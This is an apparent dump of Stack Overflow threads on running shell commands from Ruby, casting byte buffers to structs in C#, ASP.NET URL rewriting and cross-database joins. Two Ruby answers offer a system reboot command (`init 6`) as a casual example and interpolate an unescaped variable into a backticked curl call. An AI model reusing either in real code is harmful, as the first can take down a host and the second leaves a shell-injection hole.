<strong><em>depends</em></strong>.</p>\n" }, { "answer_id": 39228, "author": "Mihai A", "author_id": 4212, "author_profile": "https://Stackoverflow.com/users/4212", "pm_score": 6, "selected": false, "text": "<p>Here's the best article in my opinion about running shell scripts in Ruby: \"<a href=\"http://tech.natemurray.com/2007/03/ruby-shell-commands.html\" rel=\"noreferrer\">6 Ways to Run Shell Commands in Ruby</a>\".</p>\n\n<p>If you only need to get the output use backticks.</p>\n\n<p>I needed more advanced stuff like STDOUT and STDERR so I used the Open4 gem. You have all the methods explained there.</p>\n" }, { "answer_id": 94880, "author": "anshul", "author_id": 17674, "author_profile": "https://Stackoverflow.com/users/17674", "pm_score": 6, "selected": false, "text": "<p>My favourite is <a href=\"http://www.ruby-doc.org/stdlib-1.9.3/libdoc/open3/rdoc/Open3.html\" rel=\"noreferrer\">Open3</a></p>\n\n<pre><code> require \"open3\"\n\n Open3.popen3('nroff -man') { |stdin, stdout, stderr| ... }\n</code></pre>\n" }, { "answer_id": 3050311, "author": "j-g-faustus", "author_id": 207663, "author_profile": "https://Stackoverflow.com/users/207663", "pm_score": 5, "selected": false, "text": "<p>One more option:</p>\n\n<p>When you:</p>\n\n<ul>\n<li>need stderr as well as stdout </li>\n<li>can't/won't use Open3/Open4 (they throw exceptions in NetBeans on my Mac, no idea why)</li>\n</ul>\n\n<p>You can use shell redirection:</p>\n\n<pre><code>puts %x[cat bogus.txt].inspect\n =&gt; \"\"\n\nputs %x[cat bogus.txt 2&gt;&amp;1].inspect\n =&gt; \"cat: bogus.txt: No such file or directory\\n\"\n</code></pre>\n\n<p>The <code>2&gt;&amp;1</code> syntax works across <a href=\"http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-3.html\" rel=\"noreferrer\">Linux</a>, Mac and <a href=\"http://support.microsoft.com/kb/110930\" rel=\"noreferrer\">Windows</a> since the early days of MS-DOS.</p>\n" }, { "answer_id": 9351735, "author": "nkm", "author_id": 506559, "author_profile": "https://Stackoverflow.com/users/506559", "pm_score": 4, "selected": false, "text": "<p>We can achieve it in multiple ways.</p>\n\n<p>Using <code>Kernel#exec</code>, nothing after this command is executed:</p>\n\n<pre><code>exec('ls ~')\n</code></pre>\n\n<p>Using <code>backticks or %x</code></p>\n\n<pre><code>`ls ~`\n=&gt; \"Applications\\nDesktop\\nDocuments\"\n%x(ls ~)\n=&gt; \"Applications\\nDesktop\\nDocuments\"\n</code></pre>\n\n<p>Using <code>Kernel#system</code> command, returns <code>true</code> if successful, <code>false</code> if unsuccessful and returns <code>nil</code> if command execution fails:</p>\n\n<pre><code>system('ls ~')\n=&gt; true\n</code></pre>\n" }, { "answer_id": 9370070, "author": "Ryan Tate", "author_id": 112275, "author_profile": "https://Stackoverflow.com/users/112275", "pm_score": 4, "selected": false, "text": "<p>Using the answers here and linked in Mihai's answer, I put together a function that meets these requirements:</p>\n\n<ol>\n<li>Neatly captures STDOUT and STDERR so they don't \"leak\" when my script is run from the console.</li>\n<li>Allows arguments to be passed to the shell as an array, so there's no need to worry about escaping.</li>\n<li>Captures the exit status of the command so it is clear when an error has occurred.</li>\n</ol>\n\n<p>As a bonus, this one will also return STDOUT in cases where the shell command exits successfully (0) and puts anything on STDOUT. In this manner, it differs from <code>system</code>, which simply returns <code>true</code> in such cases. </p>\n\n<p>Code follows. The specific function is <code>system_quietly</code>:</p>\n\n<pre><code>require 'open3'\n\nclass ShellError &lt; StandardError; end\n\n#actual function:\ndef system_quietly(*cmd)\n exit_status=nil\n err=nil\n out=nil\n Open3.popen3(*cmd) do |stdin, stdout, stderr, wait_thread|\n err = stderr.gets(nil)\n out = stdout.gets(nil)\n [stdin, stdout, stderr].each{|stream| stream.send('close')}\n exit_status = wait_thread.value\n end\n if exit_status.to_i &gt; 0\n err = err.chomp if err\n raise ShellError, err\n elsif out\n return out.chomp\n else\n return true\n end\nend\n\n#calling it:\nbegin\n puts system_quietly('which', 'ruby')\nrescue ShellError\n abort \"Looks like you don't have the `ruby` command. Odd.\"\nend\n\n#output: =&gt; \"/Users/me/.rvm/rubies/ruby-1.9.2-p136/bin/ruby\"\n</code></pre>\n" }, { "answer_id": 16975172, "author": "Utensil", "author_id": 200764, "author_profile": "https://Stackoverflow.com/users/200764", "pm_score": 5, "selected": false, "text": "<p>The answers above are already quite great, but I really want to share the following summary article: \"<a href=\"http://tech.natemurray.com/2007/03/ruby-shell-commands.html\" rel=\"noreferrer\">6 Ways to Run Shell Commands in Ruby</a>\"</p>\n\n<p>Basically, it tells us:</p>\n\n<p><code>Kernel#exec</code>:</p>\n\n<pre><code>exec 'echo \"hello $HOSTNAME\"'\n</code></pre>\n\n<p><code>system</code> and <code>$?</code>:</p>\n\n<pre><code>system 'false' \nputs $?\n</code></pre>\n\n<p>Backticks (`):</p>\n\n<pre><code>today = `date`\n</code></pre>\n\n<p><code>IO#popen</code>:</p>\n\n<pre><code>IO.popen(\"date\") { |f| puts f.gets }\n</code></pre>\n\n<p><code>Open3#popen3</code> -- stdlib:</p>\n\n<pre><code>require \"open3\"\nstdin, stdout, stderr = Open3.popen3('dc') \n</code></pre>\n\n<p><code>Open4#popen4</code> -- a gem:</p>\n\n<pre><code>require \"open4\" \npid, stdin, stdout, stderr = Open4::popen4 \"false\" # =&gt; [26327, #&lt;IO:0x6dff24&gt;, #&lt;IO:0x6dfee8&gt;, #&lt;IO:0x6dfe84&gt;]\n</code></pre>\n" }, { "answer_id": 26369473, "author": "JayCrossler", "author_id": 116793, "author_profile": "https://Stackoverflow.com/users/116793", "pm_score": 0, "selected": false, "text": "<p>Here's a cool one that I use in a ruby script on OS X (so that I can start a script and get an update even after toggling away from the window):</p>\n\n<pre><code>cmd = %Q|osascript -e 'display notification \"Server was reset\" with title \"Posted Update\"'|\nsystem ( cmd )\n</code></pre>\n" }, { "answer_id": 33525154, "author": "MonsieurDart", "author_id": 368330, "author_profile": "https://Stackoverflow.com/users/368330", "pm_score": 4, "selected": false, "text": "<p>Don't forget the <code>spawn</code> command to create a background process to execute the specified command. You can even wait for its completion using the <code>Process</code> class and the returned <code>pid</code>:</p>\n\n<pre><code>pid = spawn(\"tar xf ruby-2.0.0-p195.tar.bz2\")\nProcess.wait pid\n\npid = spawn(RbConfig.ruby, \"-eputs'Hello, world!'\")\nProcess.wait pid\n</code></pre>\n\n<p>The doc says: This method is similar to <code>#system</code> but it doesn't wait for the command to finish.</p>\n" }, { "answer_id": 34226348, "author": "Kashyap", "author_id": 496289, "author_profile": "https://Stackoverflow.com/users/496289", "pm_score": 3, "selected": false, "text": "<p>If you have a more complex case than the common case that can not be handled with <code>``</code>, then check out <a href=\"http://ruby-doc.org/core-1.9.3/Kernel.html#method-i-spawn\" rel=\"nofollow noreferrer\"><code>Kernel.spawn()</code></a>. This seems to be the most generic/full-featured provided by stock Ruby to execute external commands.</p>\n\n<p>You can use it to:</p>\n\n<ul>\n<li>create process groups (Windows).</li>\n<li>redirect in, out, error to files/each-other.</li>\n<li>set env vars, umask.</li>\n<li>change the directory before executing a command.</li>\n<li>set resource limits for CPU/data/etc.</li>\n<li>Do everything that can be done with other options in other answers, but with more code.</li>\n</ul>\n\n<p>The <a href=\"http://ruby-doc.org/core-1.9.3/Kernel.html#method-i-spawn\" rel=\"nofollow noreferrer\">Ruby documentation</a> has good enough examples:</p>\n\n<pre><code>env: hash\n name =&gt; val : set the environment variable\n name =&gt; nil : unset the environment variable\ncommand...:\n commandline : command line string which is passed to the standard shell\n cmdname, arg1, ... : command name and one or more arguments (no shell)\n [cmdname, argv0], arg1, ... : command name, argv[0] and zero or more arguments (no shell)\noptions: hash\n clearing environment variables:\n :unsetenv_others =&gt; true : clear environment variables except specified by env\n :unsetenv_others =&gt; false : dont clear (default)\n process group:\n :pgroup =&gt; true or 0 : make a new process group\n :pgroup =&gt; pgid : join to specified process group\n :pgroup =&gt; nil : dont change the process group (default)\n create new process group: Windows only\n :new_pgroup =&gt; true : the new process is the root process of a new process group\n :new_pgroup =&gt; false : dont create a new process group (default)\n resource limit: resourcename is core, cpu, data, etc. See Process.setrlimit.\n :rlimit_resourcename =&gt; limit\n :rlimit_resourcename =&gt; [cur_limit, max_limit]\n current directory:\n :chdir =&gt; str\n umask:\n :umask =&gt; int\n redirection:\n key:\n FD : single file descriptor in child process\n [FD, FD, ...] : multiple file descriptor in child process\n value:\n FD : redirect to the file descriptor in parent process\n string : redirect to file with open(string, \"r\" or \"w\")\n [string] : redirect to file with open(string, File::RDONLY)\n [string, open_mode] : redirect to file with open(string, open_mode, 0644)\n [string, open_mode, perm] : redirect to file with open(string, open_mode, perm)\n [:child, FD] : redirect to the redirected file descriptor\n :close : close the file descriptor in child process\n FD is one of follows\n :in : the file descriptor 0 which is the standard input\n :out : the file descriptor 1 which is the standard output\n :err : the file descriptor 2 which is the standard error\n integer : the file descriptor of specified the integer\n io : the file descriptor specified as io.fileno\n file descriptor inheritance: close non-redirected non-standard fds (3, 4, 5, ...) or not\n :close_others =&gt; false : inherit fds (default for system and exec)\n :close_others =&gt; true : dont inherit (default for spawn and IO.popen)\n</code></pre>\n" }, { "answer_id": 37329716, "author": "Ian", "author_id": 2063546, "author_profile": "https://Stackoverflow.com/users/2063546", "pm_score": 9, "selected": false, "text": "<p>Here's a flowchart based on \"<a href=\"https://stackoverflow.com/questions/7212573/when-to-use-each-method-of-launching-a-subprocess-in-ruby/7263556#7263556\">When to use each method of launching a subprocess in Ruby</a>\". See also, \"<a href=\"https://stackoverflow.com/questions/1401002/trick-an-application-into-thinking-its-stdout-is-a-terminal-not-a-pipe/1402389#1402389\">Trick an application into thinking its stdout is a terminal, not a pipe</a>\".</p>\n\n<p><a href=\"https://i.stack.imgur.com/1Vuvp.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/1Vuvp.png\" alt=\"enter image description here\"></a></p>\n\n\n" }, { "answer_id": 42270536, "author": "Vaisakh VM", "author_id": 1905008, "author_profile": "https://Stackoverflow.com/users/1905008", "pm_score": 3, "selected": false, "text": "<p>The backticks (`) method is the easiest one to call shell commands from Ruby. It returns the result of the shell command:</p>\n\n<pre><code> url_request = 'http://google.com'\n result_of_shell_command = `curl #{url_request}`\n</code></pre>\n" }, { "answer_id": 43125428, "author": "Alex Lorsung", "author_id": 5583376, "author_profile": "https://Stackoverflow.com/users/5583376", "pm_score": 4, "selected": false, "text": "<p>The easiest way is, for example:</p>\n\n<pre><code>reboot = `init 6`\nputs reboot\n</code></pre>\n" }, { "answer_id": 44336764, "author": "dragon788", "author_id": 3794873, "author_profile": "https://Stackoverflow.com/users/3794873", "pm_score": 4, "selected": false, "text": "<p>If you really need Bash, per the note in the \"best\" answer.</p>\n\n<blockquote>\n <p>First, note that when Ruby calls out to a shell, it typically calls <code>/bin/sh</code>, <em>not</em> Bash. Some Bash syntax is not supported by <code>/bin/sh</code> on all systems. </p>\n</blockquote>\n\n<p>If you need to use Bash, insert <code>bash -c \"your Bash-only command\"</code> inside of your desired calling method:</p>\n\n<pre><code>quick_output = system(\"ls -la\")\n</code></pre>\n\n<pre><code>quick_bash = system(\"bash -c 'ls -la'\")\n</code></pre>\n\n<p>To test:</p>\n\n<pre><code>system(\"echo $SHELL\")\nsystem('bash -c \"echo $SHELL\"')\n</code></pre>\n\n<p>Or if you are running an existing script file like</p>\n\n<pre><code>script_output = system(\"./my_script.sh\")\n</code></pre>\n\n<p>Ruby <em>should</em> honor the shebang, but you could always use </p>\n\n<pre><code>system(\"bash ./my_script.sh\")\n</code></pre>\n\n<p>to make sure, though there may be a slight overhead from <code>/bin/sh</code> running <code>/bin/bash</code>, you probably won't notice.</p>\n" }, { "answer_id": 47880798, "author": "barlop", "author_id": 385907, "author_profile": "https://Stackoverflow.com/users/385907", "pm_score": 3, "selected": false, "text": "<p>Given a command like <code>attrib</code>:</p>\n\n<pre><code>require 'open3'\n\na=\"attrib\"\nOpen3.popen3(a) do |stdin, stdout, stderr|\n puts stdout.read\nend\n</code></pre>\n\n<p>I've found that while this method isn't as memorable as </p>\n\n<pre><code>system(\"thecommand\")\n</code></pre>\n\n<p>or </p>\n\n<pre><code>`thecommand`\n</code></pre>\n\n<p>in backticks, a good thing about this method compared to other methods is \n backticks don't seem to let me <code>puts</code> the command I run/store the command I want to run in a variable, and <code>system(\"thecommand\")</code> doesn't seem to let me get the output whereas this method lets me do both of those things, and it lets me access stdin, stdout and stderr independently.</p>\n\n<p>See \"<a href=\"https://blog.bigbinary.com/2012/10/18/backtick-system-exec-in-ruby.html\" rel=\"noreferrer\">Executing commands in ruby</a>\" and <a href=\"http://ruby-doc.org/stdlib-2.4.1/libdoc/open3/rdoc/Open3.html\" rel=\"noreferrer\">Ruby's Open3 documentation</a>.</p>\n" }, { "answer_id": 51191872, "author": "lucaortis", "author_id": 8709628, "author_profile": "https://Stackoverflow.com/users/8709628", "pm_score": 2, "selected": false, "text": "<p>This is not really an answer but maybe someone will find it useful:</p>\n\n<p>When using TK GUI on Windows, and you need to call shell commands from rubyw, you will always have an annoying CMD window popping up for less then a second.</p>\n\n<p>To avoid this you can use:</p>\n\n<pre><code>WIN32OLE.new('Shell.Application').ShellExecute('ipconfig &gt; log.txt','','','open',0)\n</code></pre>\n\n<p>or </p>\n\n<pre><code>WIN32OLE.new('WScript.Shell').Run('ipconfig &gt; log.txt',0,0)\n</code></pre>\n\n<p>Both will store the <code>ipconfig</code> output inside <code>log.txt</code>, but no windows will come up.</p>\n\n<p>You will need to <code>require 'win32ole'</code> inside your script.</p>\n\n<p><code>system()</code>, <code>exec()</code> and <code>spawn()</code> will all pop up that annoying window when using TK and rubyw.</p>\n" }, { "answer_id": 70250573, "author": "Vasanth Saminathan", "author_id": 5634603, "author_profile": "https://Stackoverflow.com/users/5634603", "pm_score": 2, "selected": false, "text": "<p>Not sure about shell commands. I used following for capturing system command's output into a variable <strong>val</strong>:</p>\n<pre><code>val = capture(:stdout) do\n system(&quot;pwd&quot;)\nend\n\nputs val\n</code></pre>\n<p>shortened version:</p>\n<pre><code>val = capture(:stdout) { system(&quot;pwd&quot;) }\n</code></pre>\n<p><strong>capture</strong> method is provided by <em>active_support/core_ext/kernel/reporting.rb</em></p>\n<p>Simlarly we can also capture standard errors too with <code>:stderr</code></p>\n" }, { "answer_id": 70596513, "author": "Teoman shipahi", "author_id": 929902, "author_profile": "https://Stackoverflow.com/users/929902", "pm_score": 0, "selected": false, "text": "<p>You can use <code>format</code> method as below to print some information:</p>\n<pre><code>puts format('%s', `ps`)\nputs format('%d MB', (`ps -o rss= -p #{Process.pid}`.to_i / 1024))\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2232", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25/" ]
How do I call shell commands from inside of a Ruby program? How do I then get output from these commands back into Ruby?
This explanation is based on a commented [Ruby script](http://gist.github.com/4069) from a friend of mine. If you want to improve the script, feel free to update it at the link. First, note that when Ruby calls out to a shell, it typically calls `/bin/sh`, *not* Bash. Some Bash syntax is not supported by `/bin/sh` on all systems. Here are ways to execute a shell script: ``` cmd = "echo 'hi'" # Sample string that can be used ``` 1. `Kernel#`` , commonly called backticks – ``cmd`` This is like many other languages, including Bash, PHP, and Perl. Returns the result (i.e. standard output) of the shell command. Docs: <http://ruby-doc.org/core/Kernel.html#method-i-60> ``` value = `echo 'hi'` value = `#{cmd}` ``` 2. Built-in syntax, `%x( cmd )` Following the `x` character is a delimiter, which can be any character. If the delimiter is one of the characters `(`, `[`, `{`, or `<`, the literal consists of the characters up to the matching closing delimiter, taking account of nested delimiter pairs. For all other delimiters, the literal comprises the characters up to the next occurrence of the delimiter character. String interpolation `#{ ... }` is allowed. Returns the result (i.e. standard output) of the shell command, just like the backticks. Docs: <https://docs.ruby-lang.org/en/master/syntax/literals_rdoc.html#label-Percent+Strings> ``` value = %x( echo 'hi' ) value = %x[ #{cmd} ] ``` 3. `Kernel#system` Executes the given command in a subshell. Returns `true` if the command was found and run successfully, `false` otherwise. Docs: <http://ruby-doc.org/core/Kernel.html#method-i-system> ``` wasGood = system( "echo 'hi'" ) wasGood = system( cmd ) ``` 4. `Kernel#exec` Replaces the current process by running the given external command. Returns none, the current process is replaced and never continues. Docs: <http://ruby-doc.org/core/Kernel.html#method-i-exec> ``` exec( "echo 'hi'" ) exec( cmd ) # Note: this will never be reached because of the line above ``` Here's some extra advice: `$?`, which is the same as `$CHILD_STATUS`, accesses the status of the last system executed command if you use the backticks, `system()` or `%x{}`. You can then access the `exitstatus` and `pid` properties: ``` $?.exitstatus ``` For more reading see: * <http://www.elctech.com/blog/i-m-in-ur-commandline-executin-ma-commands> * <http://blog.jayfields.com/2006/06/ruby-kernel-system-exec-and-x.html> * <http://tech.natemurray.com/2007/03/ruby-shell-commands.html>
2,256
<p>Is there a way of mapping data collected on a stream or array to a data structure or vice-versa? In C++ this would simply be a matter of casting a pointer to the stream as a data type I want to use (or vice-versa for the reverse) eg: in C++</p> <pre><code>Mystruct * pMyStrct = (Mystruct*)&amp;SomeDataStream; pMyStrct-&gt;Item1 = 25; int iReadData = pMyStrct-&gt;Item2; </code></pre> <p>obviously the C++ way is pretty unsafe unless you are sure of the quality of the stream data when reading incoming data, but for outgoing data is super quick and easy.</p>
[ { "answer_id": 2294, "author": "gil", "author_id": 195, "author_profile": "https://Stackoverflow.com/users/195", "pm_score": 2, "selected": false, "text": "<p>if its .net on both sides:</p>\n\n<p>think you should use binary serialization and send the byte[] result.</p>\n\n<p>trusting your struct to be fully blittable can be trouble.</p>\n\n<p>you will pay in some overhead (both cpu and network) but will be safe.</p>\n" }, { "answer_id": 2322, "author": "Antonio Haley", "author_id": 390, "author_profile": "https://Stackoverflow.com/users/390", "pm_score": 2, "selected": false, "text": "<p>If you need to populate each member variable by hand you can generalize it a bit as far as the primitives are concerned by using FormatterServices to retrieve in order the list of variable types associated with an object. I've had to do this in a project where I had a lot of different message types coming off the stream and I definitely didn't want to write the serializer/deserializer for each message. </p>\n\n<p>Here's the code I used to generalize the deserialization from a byte[].</p>\n\n<pre><code>public virtual bool SetMessageBytes(byte[] message)\n {\n MemberInfo[] members = FormatterServices.GetSerializableMembers(this.GetType());\n object[] values = FormatterServices.GetObjectData(this, members);\n int j = 0;\n\n for (int i = 0; i &lt; members.Length; i++)\n {\n string[] var = members[i].ToString().Split(new char[] { ' ' });\n switch (var[0])\n {\n case \"UInt32\":\n values[i] = (UInt32)((message[j] &lt;&lt; 24) + (message[j + 1] &lt;&lt; 16) + (message[j + 2] &lt;&lt; 8) + message[j + 3]);\n j += 4;\n break;\n case \"UInt16\":\n values[i] = (UInt16)((message[j] &lt;&lt; 8) + message[j + 1]);\n j += 2;\n break;\n case \"Byte\":\n values[i] = (byte)message[j++];\n break;\n case \"UInt32[]\":\n if (values[i] != null)\n {\n int len = ((UInt32[])values[i]).Length;\n byte[] b = new byte[len * 4];\n Array.Copy(message, j, b, 0, len * 4);\n Array.Copy(Utilities.ByteArrayToUInt32Array(b), (UInt32[])values[i], len);\n j += len * 4;\n }\n break;\n case \"Byte[]\":\n if (values[i] != null)\n {\n int len = ((byte[])values[i]).Length;\n Array.Copy(message, j, (byte[])(values[i]), 0, len);\n j += len;\n }\n break;\n default:\n throw new Exception(\"ByteExtractable::SetMessageBytes Unsupported Type: \" + var[1] + \" is of type \" + var[0]);\n }\n }\n FormatterServices.PopulateObjectMembers(this, members, values);\n return true;\n }\n</code></pre>\n" }, { "answer_id": 2490, "author": "lubos hasko", "author_id": 275, "author_profile": "https://Stackoverflow.com/users/275", "pm_score": 5, "selected": true, "text": "<p>Most people use .NET serialization (there is faster binary and slower XML formatter, they both depend on reflection and are version tolerant to certain degree)</p>\n\n<p>However, if you want the fastest (unsafe) way - why not:</p>\n\n<p>Writing:</p>\n\n<pre><code>YourStruct o = new YourStruct();\nbyte[] buffer = new byte[Marshal.SizeOf(typeof(YourStruct))];\nGCHandle handle = GCHandle.Alloc(buffer, GCHandleType.Pinned);\nMarshal.StructureToPtr(o, handle.AddrOfPinnedObject(), false);\nhandle.Free();\n</code></pre>\n\n<p>Reading:</p>\n\n<pre><code>handle = GCHandle.Alloc(buffer, GCHandleType.Pinned);\no = (YourStruct)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(YourStruct));\nhandle.Free();\n</code></pre>\n" }, { "answer_id": 1617761, "author": "Simon Buchan", "author_id": 20135, "author_profile": "https://Stackoverflow.com/users/20135", "pm_score": 3, "selected": false, "text": "<p>In case lubos hasko's answer was not unsafe enough, there is also the <strong>really</strong> unsafe way, using\npointers in C#. Here's some tips and pitfalls I've run into:</p>\n\n<pre><code>using System;\nusing System.Runtime.InteropServices;\nusing System.IO;\nusing System.Diagnostics;\n\n// Use LayoutKind.Sequential to prevent the CLR from reordering your fields.\n[StructLayout(LayoutKind.Sequential)]\nunsafe struct MeshDesc\n{\n public byte NameLen;\n // Here fixed means store the array by value, like in C,\n // though C# exposes access to Name as a char*.\n // fixed also requires 'unsafe' on the struct definition.\n public fixed char Name[16];\n // You can include other structs like in C as well.\n public Matrix Transform;\n public uint VertexCount;\n // But not both, you can't store an array of structs.\n //public fixed Vector Vertices[512];\n}\n\n[StructLayout(LayoutKind.Sequential)]\nunsafe struct Matrix\n{\n public fixed float M[16];\n}\n\n// This is how you do unions\n[StructLayout(LayoutKind.Explicit)]\nunsafe struct Vector\n{\n [FieldOffset(0)]\n public fixed float Items[16];\n [FieldOffset(0)]\n public float X;\n [FieldOffset(4)]\n public float Y;\n [FieldOffset(8)]\n public float Z;\n}\n\nclass Program\n{\n unsafe static void Main(string[] args)\n {\n var mesh = new MeshDesc();\n var buffer = new byte[Marshal.SizeOf(mesh)];\n\n // Set where NameLen will be read from.\n buffer[0] = 12;\n // Use Buffer.BlockCopy to raw copy data across arrays of primitives.\n // Note we copy to offset 2 here: char's have alignment of 2, so there is\n // a padding byte after NameLen: just like in C.\n Buffer.BlockCopy(\"Hello!\".ToCharArray(), 0, buffer, 2, 12);\n\n // Copy data to struct\n Read(buffer, out mesh);\n\n // Print the Name we wrote above:\n var name = new char[mesh.NameLen];\n // Use Marsal.Copy to copy between arrays and pointers to arrays.\n unsafe { Marshal.Copy((IntPtr)mesh.Name, name, 0, mesh.NameLen); }\n // Note you can also use the String.String(char*) overloads\n Console.WriteLine(\"Name: \" + new string(name));\n\n // If Erik Myers likes it...\n mesh.VertexCount = 4711;\n\n // Copy data from struct:\n // MeshDesc is a struct, and is on the stack, so it's\n // memory is effectively pinned by the stack pointer.\n // This means '&amp;' is sufficient to get a pointer.\n Write(&amp;mesh, buffer);\n\n // Watch for alignment again, and note you have endianess to worry about...\n int vc = buffer[100] | (buffer[101] &lt;&lt; 8) | (buffer[102] &lt;&lt; 16) | (buffer[103] &lt;&lt; 24);\n Console.WriteLine(\"VertexCount = \" + vc);\n }\n\n unsafe static void Write(MeshDesc* pMesh, byte[] buffer)\n {\n // But byte[] is on the heap, and therefore needs\n // to be flagged as pinned so the GC won't try to move it\n // from under you - this can be done most efficiently with\n // 'fixed', but can also be done with GCHandleType.Pinned.\n fixed (byte* pBuffer = buffer)\n *(MeshDesc*)pBuffer = *pMesh;\n }\n\n unsafe static void Read(byte[] buffer, out MeshDesc mesh)\n {\n fixed (byte* pBuffer = buffer)\n mesh = *(MeshDesc*)pBuffer;\n }\n}\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2256", "https://Stackoverflow.com", "https://Stackoverflow.com/users/379/" ]
Is there a way of mapping data collected on a stream or array to a data structure or vice-versa? In C++ this would simply be a matter of casting a pointer to the stream as a data type I want to use (or vice-versa for the reverse) eg: in C++ ``` Mystruct * pMyStrct = (Mystruct*)&SomeDataStream; pMyStrct->Item1 = 25; int iReadData = pMyStrct->Item2; ``` obviously the C++ way is pretty unsafe unless you are sure of the quality of the stream data when reading incoming data, but for outgoing data is super quick and easy.
Most people use .NET serialization (there is faster binary and slower XML formatter, they both depend on reflection and are version tolerant to certain degree) However, if you want the fastest (unsafe) way - why not: Writing: ``` YourStruct o = new YourStruct(); byte[] buffer = new byte[Marshal.SizeOf(typeof(YourStruct))]; GCHandle handle = GCHandle.Alloc(buffer, GCHandleType.Pinned); Marshal.StructureToPtr(o, handle.AddrOfPinnedObject(), false); handle.Free(); ``` Reading: ``` handle = GCHandle.Alloc(buffer, GCHandleType.Pinned); o = (YourStruct)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(YourStruct)); handle.Free(); ```
2,262
<p>How do I rewrite a URL in ASP.NET?</p> <p>I would like users to be able to go to</p> <pre><code>http://www.website.com/users/smith </code></pre> <p>instead of</p> <pre><code>http://www.website.com/?user=smith </code></pre>
[ { "answer_id": 2268, "author": "Nick Berardi", "author_id": 17, "author_profile": "https://Stackoverflow.com/users/17", "pm_score": 6, "selected": true, "text": "<p>Try the Managed Fusion Url Rewriter and Reverse Proxy:</p>\n\n<p><a href=\"http://urlrewriter.codeplex.com\" rel=\"noreferrer\">http://urlrewriter.codeplex.com</a></p>\n\n<p>The rule for rewriting this would be:</p>\n\n<pre><code># clean up old rules and forward to new URL\nRewriteRule ^/?user=(.*) /users/$1 [NC,R=301]\n\n# rewrite the rule internally\nRewriteRule ^/users/(.*) /?user=$1 [NC,L]\n</code></pre>\n" }, { "answer_id": 7793, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I have used an httpmodule for url rewriting from <a href=\"http://www.urlrewriting.net/\" rel=\"nofollow noreferrer\">www.urlrewriting.net</a> with great success (albeit I believe a much earlier, simpler version)</p>\n\n<p>If you have very few actual rewriting rules then url mappings built in to .NET 2.0 are probably an easier option, there are a few write ups of these on the web, the <a href=\"https://web.archive.org/web/20210513223749/http://aspnet.4guysfromrolla.com/articles/011007-1.aspx\" rel=\"nofollow noreferrer\">4guysfromrolla</a> one seems fairly exhaustive but as you can see they don't support regular expression mappings are are as such rendered fairly useless in a dynamic environment (assuming \"smith\" in your example is not a special case then these would be of no use)</p>\n" }, { "answer_id": 3838867, "author": "Sam Saffron", "author_id": 17174, "author_profile": "https://Stackoverflow.com/users/17174", "pm_score": 3, "selected": false, "text": "<p>Microsoft now ships an official URL Rewriting Module for IIS: <a href=\"http://www.iis.net/download/urlrewrite\" rel=\"noreferrer\">http://www.iis.net/download/urlrewrite</a> </p>\n\n<p>It supports most types of rewriting including setting server variables and wildcards.</p>\n\n<p>It also will exist on all Azure web instances out of the box.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2262", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
How do I rewrite a URL in ASP.NET? I would like users to be able to go to ``` http://www.website.com/users/smith ``` instead of ``` http://www.website.com/?user=smith ```
Try the Managed Fusion Url Rewriter and Reverse Proxy: <http://urlrewriter.codeplex.com> The rule for rewriting this would be: ``` # clean up old rules and forward to new URL RewriteRule ^/?user=(.*) /users/$1 [NC,R=301] # rewrite the rule internally RewriteRule ^/users/(.*) /?user=$1 [NC,L] ```
2,267
<p>I am building a web page to show a customer what software they purchased and to give them a link to download said software. Unfortunately, the data on what was purchased and the download information are in separate databases so I can't just take care of it with joins in an SQL query.</p> <p>The common item is SKU. I'll be pulling a list of SKUs from the customer purchases database and on the download table is a comma delineated list of SKUs associated with that download. My intention, at the moment, is to create from this one datatable to populate a <code>GridView</code>.</p> <p>Any suggestions on how to do this efficiently would be appreciated. If it helps, I can pretty easily pull back the data as a <code>DataSet</code> or a <code>DataReader</code>, if either one would be better for this purpose.</p>
[ { "answer_id": 2283, "author": "Vaibhav", "author_id": 380, "author_profile": "https://Stackoverflow.com/users/380", "pm_score": 0, "selected": false, "text": "<p>I am thinking off the top of my head here. If you load both as Data Tables in the same Data Sets, and define a relation between the two over SKU, and then run a query on the Data Set which produces the desired result.</p>\n" }, { "answer_id": 2324, "author": "Yaakov Ellis", "author_id": 51, "author_profile": "https://Stackoverflow.com/users/51", "pm_score": 2, "selected": false, "text": "<p>As long as the two databases are on the same physical server (assuming MSSQL) and the username/password being used in the connection string has rights to both DBs, then you should be able to perform a join across the two databases. Example: </p>\n\n<pre><code>select p.Date,\n p.Amount,\n d.SoftwareName,\n d.DownloadLink\nfrom PurchaseDB.dbo.Purchases as p\njoin ProductDB.dbo.Products as d on d.sku = p.sku\nwhere p.UserID = 12345\n</code></pre>\n" }, { "answer_id": 2346, "author": "Brett Veenstra", "author_id": 307, "author_profile": "https://Stackoverflow.com/users/307", "pm_score": 2, "selected": false, "text": "<p>Why not create a Domain object based approach to this problem:</p>\n\n<pre><code>public class CustomerDownloadInfo\n{\n private string sku;\n private readonly ICustomer customer;\n\n public CustomerDownloadInfo(ICustomer Customer){\n customer = Customer;\n }\n\n public void AttachSku(string Sku){\n sku = Sku;\n }\n\n public string Sku{\n get { return sku; }\n }\n\n public string Link{\n get{ \n // etc... etc... \n }\n }\n}\n</code></pre>\n\n<p>There are a million variations on this, but once you aggregate this information, wouldn't it be easier to present?</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2267", "https://Stackoverflow.com", "https://Stackoverflow.com/users/111/" ]
I am building a web page to show a customer what software they purchased and to give them a link to download said software. Unfortunately, the data on what was purchased and the download information are in separate databases so I can't just take care of it with joins in an SQL query. The common item is SKU. I'll be pulling a list of SKUs from the customer purchases database and on the download table is a comma delineated list of SKUs associated with that download. My intention, at the moment, is to create from this one datatable to populate a `GridView`. Any suggestions on how to do this efficiently would be appreciated. If it helps, I can pretty easily pull back the data as a `DataSet` or a `DataReader`, if either one would be better for this purpose.
